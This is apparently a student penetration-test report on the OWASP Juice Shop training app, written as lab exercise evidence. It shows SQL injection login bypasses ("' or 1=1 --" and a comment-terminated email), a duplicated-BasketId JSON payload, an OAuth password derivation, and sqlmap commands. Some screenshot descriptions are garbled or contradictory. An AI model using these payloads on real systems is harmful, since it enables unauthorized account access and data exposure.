71	Pr...	4/20/24, 6:31:32 PM	POST	http://127.0.0.1:3000/rest/user/login	401	Unautho...	4...	26 bytes	⚠️ Medium			

Screenshot of ZAP 2.14.0 showing a successful login POST request. The Request tab displays the following details:

```
POST http://127.0.0.1:3000/rest/user/login HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Content-Type: application/json
Content-Length: 32
Origin: https://127.0.0.1:3000
Connection: keep-alive
{"email": "", "password": "asdqw"}
```

The History tab shows the following log entries:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
103	Pr...	4/20/24, 6:49:10 PM	POST	http://127.0.0.1:3000/rest/user/login	401	Unautho...	4...	26 bytes	⚠️ Medium			
104	Pr...	4/20/24, 6:54:45 PM	GET	http://127.0.0.1:3000/rest/user/whoami	304	Not Mod...	9 ...	0 bytes	⚠️ Medium			
105	Pr...	4/20/24, 6:54:45 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	4 ...	11 bytes	⚠️ Medium	JSON		
106	Pr...	4/20/24, 6:54:45 PM	POST	http://127.0.0.1:3000/rest/user/login	401	Unautho...	1...	26 bytes	⚠️ Medium			
109	Pr...	4/20/24, 7:04:40 PM	POST	https://spocs.getpocket.com/spocs	200	OK	2 ...	1,155 bytes	⚠️ Low	JSON		

The screenshot shows the ZAP interface with the following details:

- Sites:** Default Context, https://cdnjs.cloudflare.com, http://127.0.0.1:3000, https://spocs.getpacket.com
- Header:** Text (HTTP/1.1 500 Internal Server Error, Access-Control-Allow-Origin: *, X-Content-Type-Options: nosniff, X-Frame-Options: SAMEORIGIN, Feature-Policy: payment 'self', X-Recruiting: #/jobs, Content-Type: application/json; charset=utf-8, Vary: Accept-Encoding, Date: Sat, 20 Apr 2024 18:08:15 GMT, Connection: keep-alive)
- Body:** Text (Raw JSON response showing three failed SQL queries due to syntax errors: "SELECT * FROM Users WHERE email = '' AND password = '26b5542258bc1994b7423fb175caf101' AND deletedAt IS NULL", "SELECT * FROM Users WHERE email = '' AND password = '26b5542258bc1994b7423fb175caf101' AND deletedAt IS NULL", and "SELECT * FROM Users WHERE email = '' AND password = '26b5542258bc1994b7423fb175caf101' AND deletedAt IS NULL". The last query is highlighted in blue.)
- History:** Shows a list of captured requests and responses, including:
 - ID: 103, Source: Pr., Method: POST, URL: http://127.0.0.1:3000/rest/user/login, Status: 401 Unauthorized, Reason: Unauthoriz...
 - ID: 104, Source: Pr., Method: GET, URL: http://127.0.0.1:3000/rest/user/whoami, Status: 304 Not Modified, Reason: ...
 - ID: 105, Source: Pr., Method: GET, URL: http://127.0.0.1:3000/rest/user/whoami, Status: 200 OK, Reason: ...
 - ID: 106, Source: Pr., Method: POST, URL: http://127.0.0.1:3000/rest/user/login, Status: 401 Unauthorized, Reason: Unauthoriz...
 - ID: 109, Source: Pr., Method: POST, URL: https://spocs.getpacket.com/spocs, Status: 200 OK, Reason: OK
- Alerts:** 5 alerts found, including 5 Medium severity issues.
- Output:** Current Scans (0 issues, 0 errors, 0 warnings, 0 info, 0 low, 0 medium, 0 high, 0 critical).

Screenshot of ZAP 2.14.0 showing a manual attack and an automated audit.

Manual Attack (Top Window)

Request:

```
POST http://127.0.0.1:3000/rest/user/login HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Content-Type: application/json
Content-Length: 42
Origin: https://127.0.0.1:3000
Connection: keep-alive

{"email": "' or 1=1 --", "password": "asdwq"}
```

Automated Audit (Bottom Window)

Task ID 0 Original: 200 OK | RTT: 159 ms | Size Resp. Header: 386 bytes | Size Resp. Body: 799 bytes | Highest Alert: Medium | State: Fuzzed

Alerts: 0 Critical, 5 High, 6 Medium, 6 Low

History, **Search**, **Alerts**, **Output**, **WebSockets**, **Fuzzer**

Alerts: 0 Critical, 5 High, 6 Medium, 6 Low | Main Proxy: 127.0.0.1:8081 | Current Scans: 0 Critical, 0 High, 0 Medium, 0 Low, 0 Informational, 0 Low, 0 Critical, 0 High, 0 Medium, 0 Low, 0 Informational

Summary

The screenshots demonstrate the use of ZAP for ethical hacking. The top window shows a manual request being sent to a login endpoint, while the bottom window shows an automated audit running against the same target, identifying several security issues across different alert levels.

You successfully solved a challenge: Login Admin (Log in with the administrator's user account.)

All Products

Image	Product Name	Price
	Apple Juice (1000ml)	1.99¤
	Apple Pomace	0.89¤
	Banana Juice (1000ml)	1.99¤

Add to Basket

Add to Basket

Add to Basket

This website uses fruit cookies to ensure you get the juiciest tracking experience. [But me wait!](#)

Me want it!

History 65 WebSockets 248

You successfully solved a challenge: Login Admin (Log in with the administrator's user account.)

You successfully solved a challenge: Admin Section (Access the administration section of the store.)

Administration

Registered Users

User
admin@juice-sh.op
jim@juice-sh.op
bender@juice-sh.op
bjoern.kimminich@gmail.com

Customer Feedback

Rating	Review
★★★	I love this shop! Best products in town! Highly recommended!...
★★★	Great shop! Awesome service! (**@juice-sh.op)
★	Nothing useful available here! (**der@juice-sh.op)
★	Please send me the juicy chatbot NFT in my wallet at /juicy-nft : "pur..."

History 69 WebSockets 252

(c) Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:

Initially attempted to log in using random credentials. Using asb@abs.com and asd as the password, we got a "invalid user or password" error. When trying to use an email with a single quotation mark ('') and a password (asdqw), we encountered a SQL jargon, indicating a possible SQL injection vulnerability. We initiated a fuzz attack on the POST

method /rest/user/login, using 'or 1=1-- as the email and asdqw as the password. This returned all rows and bypassed the password requirement. We logged in using admin@juice-sh.op with the password asdqw and accessed the administration page. We could view the email addresses of registered users and customer feedback, exposing sensitive information and violating admin access control, confirming the security issue with the Admin Section.

VC: Manipulate Basket

(a) Description of penetration testing that was carried out for SSRF:

1. Login to juice shop store using email = apoorva@juice.com, password = Apoorva@1
2. From homepage add item to basket, after successful login.
3. Go to ZAP and find POST proxy http://127.0.0.1:3000/api/BasketItems/ path in the history tab, on clicking it in the Request tab we can get the json object of { "ProductId":1, "BasketId": 6, "Quantity":1}.
4. Send this to the requester tab when you send the same message we find a validation error, so change the product id to 2 and send it which us success.
5. Now, send request by selecting the json object and repeating the basket id field with some other user's basket id.
6. By creating multiple database entries for basketID field in the same packet will breaks the access resulting in manipulation of another users shopping basket.
7. So the final payload will consist of { "ProductId":3, "BasketId": 6, "BasketId": 4, "Quantity":1}.
8. This will manipulate another users basket and solve the challenge.

(b) Outcomes (evidence) of the penetration testing in (a):

Screenshot of the OWASP Juice Shop Score Board interface.

Score Board Summary:

- Hacking Challenges: 14% completed
- Coding Challenges: 0% completed
- Total Challenges Solved: 15/168

Search bar: Search mani

Difficulty, Status, Tags filters

Challenge Categories:

- Broken Access Control: Manipulate Basket
- Injection: NosQL Manipulation

Notes:

- This is the new Score Board! If you notice any bugs or have any feedback, please let us know! Reach out via our community channels.
- Switch to the legacy Score Board
- 16 challenges are unavailable on Docker due to security concerns or technical incompatibility.
- Hide disabled challenges

Footer: History WebSockets

Screenshot of the OWASP Juice Shop product catalog interface.

All Products:

Product Image	Name	Price
	Apple Juice (1000ml)	1.99¤
	Apple Pomace	0.89¤
	Banana Juice (1000ml)	1.99¤
	Best Juice Shop	
	Eggfruit Juice	

Product Details:

- Apple Juice (1000ml): 1.99¤
- Apple Pomace: 0.89¤
- Banana Juice (1000ml): 1.99¤
- Best Juice Shop: Only 1 left
- Eggfruit Juice: (Image)

Footer: History WebSockets

Screenshot of ZAP 2.14.0 showing a successful API request and response.

Request:

```
POST http://127.0.0.1:3000/api/BasketItems/ HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
{"ProductId":1,"BasketId":6,"quantity":1}
```

Response:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Content-Type: application/json; charset=utf-8
Content-Length: 157

{"status": "success", "data": {"id": 19, "ProductId": 1, "BasketId": 6, "quantity": 1, "updated_at": "2024-05-03T19:19:39.474Z", "created_at": "2024-05-03T19:19:39.474Z"}}
```

History:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
2,308	Pr...	5/3/24, 8:19:37 PM	GET	http://127.0.0.1:3000/rest/products/search...	304	Not Mod...	1...	0 bytes	Medium			
2,309	Pr...	5/3/24, 8:19:37 PM	GET	http://127.0.0.1:3000/api/Quantities/	304	Not Mod...	3...	0 bytes	Medium			
2,310	Pr...	5/3/24, 8:19:39 PM	GET	http://127.0.0.1:3000/rest/basket/6	304	Not Mod...	1...	0 bytes	Medium			
2,311	Pr...	5/3/24, 8:19:39 PM	POST	http://127.0.0.1:3000/api/BasketItems/	200	OK	1...	157 bytes	Informational			
2,312	Pr...	5/3/24, 8:19:39 PM	GET	http://127.0.0.1:3000/api/Products/1?id=Fri...	304	Not Mod...	2...	0 bytes	Medium			
2,313	Pr...	5/3/24, 8:19:39 PM	GET	http://127.0.0.1:3000/rest/basket/6	200	OK	2...	524 bytes	Informational			

Alerts: 1 10 9 Main Proxy: 127.0.0.1:8081

Screenshot of ZAP 2.14.0 showing an error response from the API.

Request:

```
POST http://127.0.0.1:3000/api/BasketItems/ HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
{"ProductId":1,"BasketId":6,"quantity":1}
```

Response:

```
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding

{
  "error": {
    "message": "Validation error",
    "stack": [
      "Error\n at Database.<anonymous> (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:185:27)\n at /juice-shop/node_modules/sequelize/lib/
```

History:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
2,309	Pr...	5/3/24, 8:19:37 PM	GET	http://127.0.0.1:3000/api/Quantities/	304	Not Mod...	3...	0 bytes	Medium			
2,310	Pr...	5/3/24, 8:19:39 PM	GET	http://127.0.0.1:3000/rest/basket/6	304	Not Mod...	1...	0 bytes	Medium			
2,311	Pr...	5/3/24, 8:19:39 PM	POST	http://127.0.0.1:3000/api/BasketItems/	200	OK	1...	157 bytes	Informational			
2,312	Pr...	5/3/24, 8:19:39 PM	GET	http://127.0.0.1:3000/api/Products/1?id=Fri...	304	Not Mod...	2...	0 bytes	Medium			
2,313	Pr...	5/3/24, 8:19:39 PM	GET	http://127.0.0.1:3000/rest/basket/6	200	OK	2...	524 bytes	Informational			
2,314	M...	5/3/24, 8:20:28 PM	POST	http://127.0.0.1:3000/api/BasketItems/	500	Internal ...	4...	2,362 bytes	Medium		JSON	

Alerts: 1 10 10 9 Main Proxy: 127.0.0.1:8081

Screenshot of ZAP 2.14.0 showing a successful POST request to the BasketItems API endpoint.

Request:

```
POST http://127.0.0.1:3000/api/BasketItems/ HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
{"ProductId":2,"BasketId":6,"quantity":1}
```

Response:

```
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding

{
  "error": {
    "message": "Validation error",
    "stack": [
      "Error\n    at Database.<anonymous> (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:185:27)\n    at /juice-shop/node_modules/sequelize/lib/
```

Alerts:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
2,309	Pr...	5/3/24, 8:19:37 PM	GET	http://127.0.0.1:3000/api/Quantities/	304	Not Mod...	3...	0 bytes	Medium			
2,310	Pr...	5/3/24, 8:19:39 PM	GET	http://127.0.0.1:3000/rest/basket/6	304	Not Mod...	1...	0 bytes	Medium			
2,311	Pr...	5/3/24, 8:19:39 PM	POST	http://127.0.0.1:3000/api/BasketItems/	200	OK	1...	157 bytes	Informational			
2,312	Pr...	5/3/24, 8:19:39 PM	GET	http://127.0.0.1:3000/api/Products/17d=Fri...	304	Not Mod...	2...	0 bytes	Medium			
2,313	Pr...	5/3/24, 8:19:39 PM	GET	http://127.0.0.1:3000/rest/basket/6	200	OK	2...	524 bytes	Informational			
2,314	M...	5/3/24, 8:20:28 PM	POST	http://127.0.0.1:3000/api/BasketItems/	500	Internal ...	4...	2,362 bytes	Medium			JSON

Screenshot of ZAP 2.14.0 showing a successful POST request to the BasketItems API endpoint, resulting in a 200 OK response.

Request:

```
POST http://127.0.0.1:3000/api/BasketItems/ HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
{"ProductId":2,"BasketId":6,"quantity":1}
```

Response:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Content-Type: application/json; charset=utf-8
Content-Length: 157

{"status": "success", "data": {"id": 20, "ProductId": 2, "BasketId": 6, "quantity": 1, "updatedAt": "2024-05-03T19:22:32.062Z", "createdAt": "2024-05-03T19:22:32.062Z"}}
```

Alerts:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
2,310	Pr...	5/3/24, 8:19:39 PM	GET	http://127.0.0.1:3000/rest/basket/6	304	Not Mod...	3...	0 bytes	Medium			
2,311	Pr...	5/3/24, 8:19:39 PM	POST	http://127.0.0.1:3000/api/BasketItems/	200	OK	1...	157 bytes	Informational			
2,312	Pr...	5/3/24, 8:19:39 PM	GET	http://127.0.0.1:3000/api/Products/17d=Fri...	304	Not Mod...	2...	0 bytes	Medium			
2,313	Pr...	5/3/24, 8:19:39 PM	GET	http://127.0.0.1:3000/rest/basket/6	200	OK	2...	524 bytes	Informational			
2,314	M...	5/3/24, 8:20:28 PM	POST	http://127.0.0.1:3000/api/BasketItems/	500	Internal ...	4...	2,362 bytes	Medium			JSON
2,315	M...	5/3/24, 8:22:32 PM	POST	http://127.0.0.1:3000/api/BasketItems/	200	OK	2...	157 bytes	Medium			JSON

The screenshot shows the ZAP 2.14.0 interface with an 'Untitled Session'. The 'Request' tab displays a POST request to `/api/BasketItems/` with the following details:

- Method: POST
- Header: Content-Type: application/json
- Body:

```
{"ProductId":2,"BasketId":5,"BasketId":6,"quantity":1}
```

The 'Response' tab shows the server's response:

HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#jobs

Content-Type: application/json; charset=utf-8

Content-Length: 157

```
{"status":"success","data":{"id":20,"ProductId":2,"BasketId":6,"quantity":1,"updatedAt": "2024-05-03T19:22:32.062Z","createdAt": "2024-05-03T19:22:32.062Z"}}
```

At the bottom, the status bar indicates: Time: 28 ms Body Length: 157 Total Length: 542 bytes.

The screenshot shows a manual attack on a .NET Core application using ZAP 2.14.0. The Request tab displays a POST request to `/api/BasketItems/` with the following JSON payload:

```
{"ProductId":12,"BasketId":"5","BasketId":"6","quantity":1}
```

The Response tab shows a 401 Unauthorized response with the error message:

```
{'error' : 'Invalid BasketId'}
```

The bottom table shows a history of requests and responses, with the last entry being a 401 Unauthorized response from `/api/BasketItems/`.

Screenshot of ZAP 2.14.0 showing a successful request to the API endpoint `/api/BasketItems/`. The response status is 401 Unauthorized, indicating an invalid basket ID.

```

POST http://127.0.0.1:3000/api/BasketItems/ HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
{"ProductId":3,"BasketId":6,"BasketId":5,"quantity":1}

```

The response header includes:

- HTTP/1.1 401 Unauthorized
- Access-Control-Allow-Origin: *
- X-Content-Type-Options: nosniff
- X-Frame-Options: SAMEORIGIN
- Feature-Policy: payment 'self'
- X-Recruiting: /#/jobs
- Content-Type: text/html; charset=utf-8
- Content-Length: 30

The response body is: `{"error": "Invalid BasketId"}`

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
2,312	Pr...	5/3/24, 8:19:39 PM	GET	http://127.0.0.1:3000/api/Products/1?d=Fri...	304	Not Modifi...	2...	0 bytes		Medium		
2,313	Pr...	5/3/24, 8:19:39 PM	GET	http://127.0.0.1:3000/rest/basket/6	200	OK	2...	524 bytes		Informational		
2,314	M...	5/3/24, 8:20:28 PM	POST	http://127.0.0.1:3000/api/BasketItems/	500	Internal ...	4...	2,362 bytes		Medium	JSON	
2,315	M...	5/3/24, 8:22:32 PM	POST	http://127.0.0.1:3000/api/BasketItems/	200	OK	2...	157 bytes		Medium	JSON	
2,316	M...	5/3/24, 8:23:05 PM	POST	http://127.0.0.1:3000/api/BasketItems/	500	Internal ...	1...	1,237 bytes		Medium	JSON	
2,317	M...	5/3/24, 8:23:12 PM	POST	http://127.0.0.1:3000/api/BasketItems/	401	Unautho...	1...	30 bytes		Medium		

Screenshot of ZAP 2.14.0 showing a failed request to the API endpoint `/api/BasketItems/`. The response status is 500 Internal Server Error, indicating a validation error.

```

POST http://127.0.0.1:3000/api/BasketItems/ HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
{"ProductId":3,"BasketId":6,"BasketId":5,"quantity":1}

```

The response header includes:

- HTTP/1.1 500 Internal Server Error
- Access-Control-Allow-Origin: *
- X-Content-Type-Options: nosniff
- X-Frame-Options: SAMEORIGIN
- Feature-Policy: payment 'self'
- X-Recruiting: /#/jobs
- Content-Type: application/json; charset=utf-8
- Vary: Accept-Encoding

The response body is: `{
 "error": {
 "message": "Validation error",
 "stack": [
 "Error at Database.<anonymous> (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:185:27)\n at /juice-shop/node_modules/sequelize/lib/`

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
2,316	M...	5/3/24, 8:23:05 PM	POST	http://127.0.0.1:3000/api/BasketItems/	500	Internal ...	1...	1,237 bytes		Medium	JSON	
2,317	M...	5/3/24, 8:23:12 PM	POST	http://127.0.0.1:3000/api/BasketItems/	401	Unautho...	1...	30 bytes		Medium		
2,318	M...	5/3/24, 8:23:27 PM	POST	http://127.0.0.1:3000/api/BasketItems/	500	Internal ...	1...	2,362 bytes		Medium	JSON	
2,319	Pr...	5/3/24, 8:23:27 PM	GET	http://127.0.0.1:3000/rest/continue-code	200	OK	1...	79 bytes		Medium	Informational	
2,320	Pr...	5/3/24, 8:23:27 PM	GET	http://127.0.0.1:3000/rest/continue-code	200	OK	1...	79 bytes		Medium		
2,321	Pr...	5/3/24, 8:23:27 PM	GET	http://127.0.0.1:3000/rest/continue-code	200	OK	4...	79 bytes		Medium	JSON	

The screenshot shows a ZAP session titled "Untitled Session - ZAP 2.14.0". In the Request tab, a POST method is selected with the URL `http://127.0.0.1:3000/api/BasketItems/`. The payload is a JSON object: `{"ProductId":3,"BasketId":"1","BasketId":6,"quantity":1}`. The Response tab shows a 500 Internal Server Error with the following headers:

```
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
```

The response body contains an error message:

```
{
  "error": {
    "message": "Validation error",
    "stack": [
      "Error at Database.<anonymous> (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:185:27)",
      "at /juice-shop/node_modules/sequelize/lib/validators.js:10:15"
    ]
}
```

At the bottom, the Network tab displays a list of recent requests and responses.

You successfully solved a challenge: Manipulate Basket (Put an additional product into another user's shopping basket.)

All Products

	Apple Juice (1000ml)	1.99€	Add to Basket
	Apple Pomace	0.89€	Add to Basket
	Banana Juice (1000ml)	1.99€	Add to Basket

You successfully solved a challenge: Manipulate Basket (Put an additional product into another user's shopping basket.)

Your Basket (apoorva@juice.com)

	Apple Juice (1000ml)	1.99€	Remove
	Orange Juice (1000ml)	2.99€	Remove

Total Price: 4.98€

[Checkout](#)

(c) Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:

To check the security of the "View Basket" feature in our Target of Evaluation (TOE), the OWASP Juice Shop, we performed a penetration test. We used the email address apoorva@juice.com and the password apoorva@1 to get in. ZAP was used to intercept the POST request to /api/BasketItems/ while adding an item to the basket. We violated the designated Security Functional Requirements (SFR) by altering the JSON payload to

manipulate the basket ID field, resulting in several entries for various users. We were able to successfully alter the basket of another user thanks to our attack, exposing a serious security flaw.

SFR Identifier: FIA_UAU.1.2

Related vulnerability challenges: Change Bender's Password, Login Bjoern, Password Strength, Two Factor Authentication

Tested Vulnerability Challenges:

VC1: Login Bjoern

(a) Description of penetration testing:

1. Penetration testing involved attempting to bypass the authentication mechanism to log in as the user Bjoern without valid credentials.
2. Navigate to the <https://127.0.0.1:3000/#/score-board> look at the description of Bjoren Challenge.
3. We need to use his gmail account and without reset we have to use the SQL injection or hack into his Google account.
4. So using the steps from Admin Section login as Admin and the find his gmail account.
5. We open the sources -> main.js. and search the methods related to Oauth, Login, userLogin.
6. Oauth is used for providing authorization to web applications.
7. We successfully find a method.

ngOnInit () {

```
Var e = this;
this.userService.oauthLogin(this.parseRedirectUrlParams().access_token).subscribe(o=>(
const a = btoa(o. email. split (“”). reverse().join(“”));
this.userService.save(f
email: o.email,
password: a,
passwordRepeat: a
}).subscribe(()=> {
this. login(o)}
```

8. From the above method, we can simply understand that the value of “a” and “password” are same.
9. Value of “a” is achieved by splitting the email, then reversing it, then joining it and lastly using the btoa() function.
10. Now using bjoren.kimminich@gmail.com copy it and inspect it navigate, in console paste the gmail email.
11. Now, [bjoren.kimminich@gmail.com.split\(''\).reverse\(''\).join\(''\)](mailto:bjoren.kimminich@gmail.com.split('').reverse('').join(''))
12. Now, use window.btoa([bjoren.kimminich@gmail.com.split\(''\).reverse\(''\).join\(''\)](mailto:bjoren.kimminich@gmail.com.split('').reverse('').join(''))). Copy this.
13. Navigate to login page and use email: bjoren.kimminich@gmail.com and password : is the output of
window.btoa([bjoren.kimminich@gmail.com.split\(''\).reverse\(''\).join\(''\)](mailto:bjoren.kimminich@gmail.com.split('').reverse('').join(''))).
14. This solves Bjoern Login.

(b) Outcomes (evidence) of the penetration testing in (a):

The image displays two screenshots of the OWASP Juice Shop application interface, illustrating the results of a penetration test.

Screenshot 1: Score Board

The Score Board page shows a grid of challenges categorized by type and difficulty. Each challenge includes a title, a brief description, a difficulty rating (from ★★★★ to ★★★★★), and a 'Solved' status indicator.

- Sensitive Data Exposure:**
 - GDPR Data Theft**: ★★★★ (Solved)
 - Leaked Unsafe Product**: ★★★★ (Solved)
 - Server-side XSS Protection**: ★★★★ (Solved)
- XSS:**
 - HTTP-Header XSS**: ★★★★ (Not Solved)
 - Misplaced Signature File**: ★★★★ (Not Solved)
 - Server-side XSS**: ★★★★ (Not Solved)
- Broken Authentication:**
 - Login Björn**: ★★★★ (Not Solved)
 - Reset Bender's Password**: ★★★★ (Not Solved)
 - Reset Uvogin's Password**: ★★★★ (Not Solved)
- Injection:**
 - NoSQL Manipulation**: ★★★★ (Not Solved)
 - Poison Null Byte**: ★★★★ (Not Solved)
 - SQL Injection**: ★★★★ (Not Solved)
 - User Credentials**: ★★★★ (Not Solved)
- Cryptographic Issues:**
 - Nested Easter Egg**: ★★★★ (Not Solved)
- Vulnerable Components:**
 - Legacy Typoquatting**: ★★★★ (Not Solved)
 - NoSQL DoS**: ★★★★ (Not Solved)
 - OSINT**: ★★★★ (Not Solved)
 - Vulnerable Library**: ★★★★ (Not Solved)

Screenshot 2: All Products

The All Products page displays a list of items with their names, descriptions, prices, and 'Add to Basket' buttons.

All Products	
	Apple juice (1000ml) 1.99€ Add to Basket
	Apple Pomace 0.89€ Add to Basket
	Banana Juice (1000ml) 1.99€ Add to Basket

A green notification bar at the top of the page states: "You successfully solved a challenge: Login Admin (Log in with the administrator's user account.)".

Screenshot of a Firefox browser window showing the OWASP Juice Shop administration interface at <https://127.0.0.1:3000/#/administration>. A green notification bar at the top says "You successfully solved a challenge: Admin Section (Access the administration section of the store.)".

The main page displays "Administration" and "Customer Feedback". The "Registered Users" table shows:

User	Email	Action
admin	admin@juice-sh.op	
jim	jim@juice-sh.op	
bender	bender@juice-sh.op	
bjøern.kimminich@gmail.com	bjøern.kimminich@gmail.com	
ciso	ciso@juice-sh.op	
support	support@juice-sh.op	
morty	morty@juice-sh.op	
mc.safesearch@juice-sh.op	mc.safesearch@juice-sh.op	

The "Customer Feedback" section shows 21 reviews:

Review ID	Comment	Rating	Action
1	I love this shop! Best products in town! Highly recommended! (**@juice-sh.op)	★★★★★	
2	Great shop! Awesome service! (**@juice-sh.op)	★★★★★	
3	Nothing useful available here! (**der@juice-sh.op)	★	
21	Please send me the Juicy chatbot NFT in my wallet at /juicy-nft : "purpose betray mariage..." Incompetent customer support! Can't even upload photo of broken purchase!...	★	
	This is the store for awesome stuff of all kinds! (anonymous)	★★★★★	
	Never gonna buy anywhere else from now on! Thanks for the great service! (anonymous)	★★★★★	
	Keep up the good work! (anonymous)	★★★	

Below the main content are "History" and "WebSockets" tabs.

Second screenshot: The same browser window showing the "Score Board" at <https://127.0.0.1:3000/#/score-board?searchQuery=ben>. It lists challenges:

- Injection: **Login Bender** (★★★)
- Broken Authentication: **Reset Bender's Password** (★★★★)
- Broken Authentication: **Change Bender's Password** (★★★★★)

Third screenshot: A developer tools console showing the output of a command. The command `window.btoa("bjøern.kimminich@gmail.com")` was run, resulting in the output: `bjø9jLmxpYwlnQGhaw5pbW1pay5ucmVvamI=`, which is the base64 encoded version of the email address.

You successfully solved a challenge: Login Bjoern (Log in with Bjoern's Gmail account without previously changing his password, applying SQL Injection, or hacking his Google account.)

OWASP Juice Shop

8% Hacking Challenges 0% Coding Challenges 9/168 Challenges Solved

Difficulty Status Tags

All XSS Sensitive Data Exposure Improper Input Validation Broken Access Control Unvalidated Redirects Vulnerable Components Broken Authentication

History 189 WebSockets 108

Inspectors: Inspector, Console, Debugger, Network, Style Editor, Performance, Memory, Storage, Accessibility, Application

Errors Warnings Logs Info Debug CSS XHR Requests

10:52

OWASP Juice Shop

Login

Email: bjoern.kimminich@gmail.com

Password:


Forgot your password?

Remember me

or

Not yet a customer?

History WebSockets



(c) Explanation of how the evidence included in (b) proves that FIA_UAU.1.2 is violated:

To test the "Login Bjoern" functionality, we attempted to bypass the authentication mechanism to log in as the user Bjoern without valid credentials. Then tester to the scoreboard page to understand the challenge, find under admin or under products find Bjoern's Gmail account had to be used without resetting the password, by either using SQL injection or hacking into his Google account.

From the Admin Section, logging in as an admin to locate Bjoern's Gmail account. In inspect element find **main.js** file, to identify methods related to OAuth, login, and user login. OAuth was being used for authorization, and the tester identified a method to potentially exploit.


This approach enabled the tester to bypass the typical authentication process and gain unauthorized access to the account, revealing a vulnerability in the application's login mechanism.

Login Jim

a) Description of penetration testing that was carried out.

1. Start the application and find jim's email somewhere the posted review under product or login as admin.
2. Use this email and try out some random password just to trigger the POST Method in the Zap.
3. In zap send this to the Repeater. Inside the repeater update the email by adding '-- at the end i.e. jim@juice-sh.op give the password of your choice.
4. Click on send. Now we get the 200 status response which means that jim's account is reset hence we solved the challenge.
5. One more way is to use sql injection:
6. Go to the folder in the terminal make a new file using gedit login.txt
7. Copy paste the Request format and update the password
8. The use sqlmap -r login.txt. give Y, Y and N response. And if tell you any error use sqlmap -r --ignore-code=401.
9. This Resets the password and we solve the challenge.

(b) Outcomes (evidence) of the penetration testing in (a):



Screenshot of a Firefox browser window showing the OWASP Juice Shop login page. The URL is https://127.0.0.1:3000/#/login. The login form shows an error message: "Invalid email or password." The input fields contain "jim@juice-sh.op" and a masked password. Below the form are links for "Forgot your password?", "Log in", "Remember me", and "Log in with Google". A sidebar on the left lists various service icons. A sidebar on the right displays a fruit cookie tracking message with a "Me want it!" button.

Firefox History and WebSockets tabs are visible at the bottom.

